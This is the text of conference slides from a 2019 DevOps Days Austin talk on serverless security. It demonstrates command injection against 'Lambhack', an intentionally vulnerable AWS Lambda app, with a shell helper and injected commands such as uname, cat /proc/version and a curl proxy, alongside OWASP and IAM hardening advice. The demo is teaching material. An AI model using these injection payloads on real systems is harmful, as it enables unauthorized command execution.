  • 55. $ make provision go run main.go provision -s lambhack INFO[0000] ======================================== INFO[0000] Welcome to LambhackApplication GoVersion=go1.10 LinkFlags= Option=provision SpartaSHA=740028b SpartaVersion=0.20.1 UTC="2019-02-21T21:09:50Z" INFO[0000] ======================================== INFO[0000] Provisioning service BuildID=8ffac7d463903457c5dc3221d5bf2b5fa0ee589c CodePipelineTrigger= InPlaceUpdates=false NOOP=false Tags= INFO[0000] Verifying IAM Lambda execution roles INFO[0000] IAM roles verified Count=1 INFO[0000] Checking S3 versioning Bucket=lambhack VersioningEnabled=false INFO[0000] Running `go generate` INFO[0000] Compiling binary Name=Sparta.lambda.amd64 INFO[0011] Executable binary size KB=22560 MB=22 INFO[0011] Creating code ZIP archive for upload TempName=./.sparta/LambhackApplication-code.zip INFO[0011] Registering Sparta JS function FunctionName=main_lambhackEvent ScriptName=main_lambhackEvent INFO[0011] Lambda function deployment package size KB=22659 MB=22 @wickett + @iteration1 @ DevOps Days Austin 2019
  • 58. lambda-shell helper #!/usr/bin/env bash URL="https://xxxxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod" echo -e `curl -s "$URL/lambhack/c?args=$1;+sleep+1"` | tr -d '"' @wickett + @iteration1 @ DevOps Days Austin 2019
  • 59. lambda-shell helper #!/usr/bin/env bash URL="https://xxxxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod" echo -e `curl -s "$URL/lambhack/c?args=$1;+sleep+1"` | tr -d '"' @wickett + @iteration1 @ DevOps Days Austin 2019
  • 60. uname -a curl “<URL>/lambhack/c?args=uname+-a;+sleep+1" returns "Linux ip-10-131-13-166 4.14.94-73.73.amzn1.x86_64 #1 SMP Tue Jan 22 20:25:24 UTC 2019 x86_64 x86_64 x86_64 GNU/Linuxn" @wickett + @iteration1 @ DevOps Days Austin 2019
  • 61. /proc/version curl “<URL>/lambhack/c?args=cat+/proc/version;+sleep+1" returns "Linux version 4.14.94-73.73.amzn1.x86_64 (mockbuild@gobi-build-64001) (gcc version 7.2.1 20170915 (Red Hat 7.2.1-2) (GCC)) #1 SMP Tue Jan 22 20:25:24 UTC 2019n"
  • 62. Look in /tmp curl “<URL>/lambhack/c?args=ls+-la+/tmp;+sleep+1" returns total 8 drwx------ 2 sbx_user1064 482 4096 Feb 21 22:35 . drwxr-xr-x 21 root root 4096 Feb 21 17:51 .. @wickett + @iteration1 @ DevOps Days Austin 2019
  • 63. I can haz web proxy curl “<URL>/lambhack/c?args=curl+https://www.example.com;+sleep+1" returns <!doctype html> <html> <head> <title>Example Domain</title> <meta charset="utf-8" /> ...
  • 65. AppSec Thoughts from Lambhack → Lambda has limited Blast Radius, but not zero → Monitoring/Logging plays a key role here → Detect longer run times → Higher error rate occurrences → Log actions of lambdas @wickett + @iteration1 @ DevOps Days Austin 2019
  • 66. Secure WIP Inherit @wickett + @iteration1 @ DevOps Days Austin 2019
  • 67. It all seems so simple... 222 Lines of Code 5 direct dependencies 54 total deps (incl. indirect) (example thanks to snyk.io) @wickett + @iteration1 @ DevOps Days Austin 2019
  • 68. 460,046 Lines of Code @wickett + @iteration1 @ DevOps Days Austin 2019
  • 69. Most defect density studies range from .5 to 10 defects per KLOC @wickett + @iteration1 @ DevOps Days Austin 2019
  • 70. More importantly, defect density is not zero @wickett + @iteration1 @ DevOps Days Austin 2019
  • 71. Vulnerabilities are just exploitable defects @wickett + @iteration1 @ DevOps Days Austin 2019
  • 73. OWASP-A9 Components with known vulnerabilities What should I do? * Monitor dependencies continuously. * If you use a Docker based system, use the registry scanning tools. * Watch for CVE's (they will happen). @wickett + @iteration1 @ DevOps Days Austin 2019
  • 74. OWASP-A6 Security Misconfiguration Issue: Configuration or misconfiguration * Function permissiveness and roles (too much privilege) * Configuration for services (supporting cloud based services) * Security configuration left in logging @wickett + @iteration1 @ DevOps Days Austin 2019
  • 75. OWASP-A6 Security Misconfiguration What should I do? * Consider limiting your blast radius * Harden security provider config (IAM/storage) * Scan for global bucket read/write access * Use a principle of least privilege * Enterprise setting: MFA to access cloud console @wickett + @iteration1 @ DevOps Days Austin 2019
  • 76. Most common attacks (Via puresec whitepaper) → Crypto Mining (via remote code execution) → Hijacking business flow → Denial of wallet → Data misconfiguration @wickett + @iteration1 @ DevOps Days Austin 2019
  • 77. Secure WIP Provided @wickett + @iteration1 @ DevOps Days Austin 2019
  • 78. Platform Help @wickett + @iteration1 @ DevOps Days Austin 2019
  • 79. Vendor Best Practices → AWS → Google Cloud → Azure → Oracle Cloud Infrastructure @wickett + @iteration1 @ DevOps Days Austin 2019
  • 80. AWS @wickett + @iteration1 @ DevOps Days Austin 2019
  • 81. Gone in 60 Milliseconds Intrusion and Exfiltration in Server-less Architecture https://media.ccc.de/v/33c3-7865- gonein60_milliseconds @wickett + @iteration1 @ DevOps Days Austin 2019
  • 82. Focus on IAM Roles and Policies @wickett + @iteration1 @ DevOps Days Austin 2019
  • 83. Good hygiene * Disable root access keys * Manage users with profiles * Secure your keys in your deploy system * Secure keys in dev system * Use provider MFA @wickett + @iteration1 @ DevOps Days Austin 2019
  • 84. AWS lets you roll your own @wickett + @iteration1 @ DevOps Days Austin 2019
  • 86. Choose your own adventure → Your very own Honeypot → Defend scanners and attack tooling → Parsing reputation lists → Deal with whitelisting/blacklisting → Tuning WAF Regex rules @wickett + @iteration1 @ DevOps Days Austin 2019
  • 87. Cool, but not exactly a friendly setup for devs or ops @wickett + @iteration1 @ DevOps Days Austin 2019
  • 88. Azure → Lots of great resources in the docs → Overview → Security Policy → Key Vault Service @wickett + @iteration1 @ DevOps Days Austin 2019
  • 89. Google Cloud → Follow IAM and data best practices → Security command → Storage best practices @wickett + @iteration1 @ DevOps Days Austin 2019
  • 90. Oracle Cloud Infrastructure → Use compartments concepts and IAM to limit blast radius → Limit specific user/group access to specific compartments → Security guidance @wickett + @iteration1 @ DevOps Days Austin 2019
  • 91. What about roll your own? → Knative → OpenFaaS → Fn → and others... @wickett + @iteration1 @ DevOps Days Austin 2019
  • 92. Kubernetes Security → Many Faas providers can use K8s to deploy/scale → Use K8s best practices → Starting point- SignalSciences Webinar on cloudnative security @wickett + @iteration1 @ DevOps Days Austin 2019
  • 93. Security Pitfalls for serverless * Auditors/Compliance * Lack of instrumentation * Lack of security controls in dev pipeline * Provider config * Lambhack as a way to facilitate conversations @wickett + @iteration1 @ DevOps Days Austin 2019
  • 94. Security's Path to Influence 1. Identify Resource Misutilization 2. Add Telemetry and Feedback Loops 3. Automate and Monitor Across the Software Pipeline 4. Influence Organizational Culture @wickett + @iteration1 @ DevOps Days Austin 2019
  • 95. The New Security Playbook * Speed up delivery instead of blocking * Empathy towards devs and ops * Normal - provide value by making security normal * Automate - security testing in every phase @wickett + @iteration1 @ DevOps Days Austin 2019
  • 96. Conclusions * Use the Secure WIP model * Involve security team in serverless * New Security Playbook * Foster discussion on where to apply controls @wickett + @iteration1 @ DevOps Days Austin 2019
  • 97. Keep in touch @wickett @iteration1 @wickett + @iteration1 @ DevOps Days Austin 2019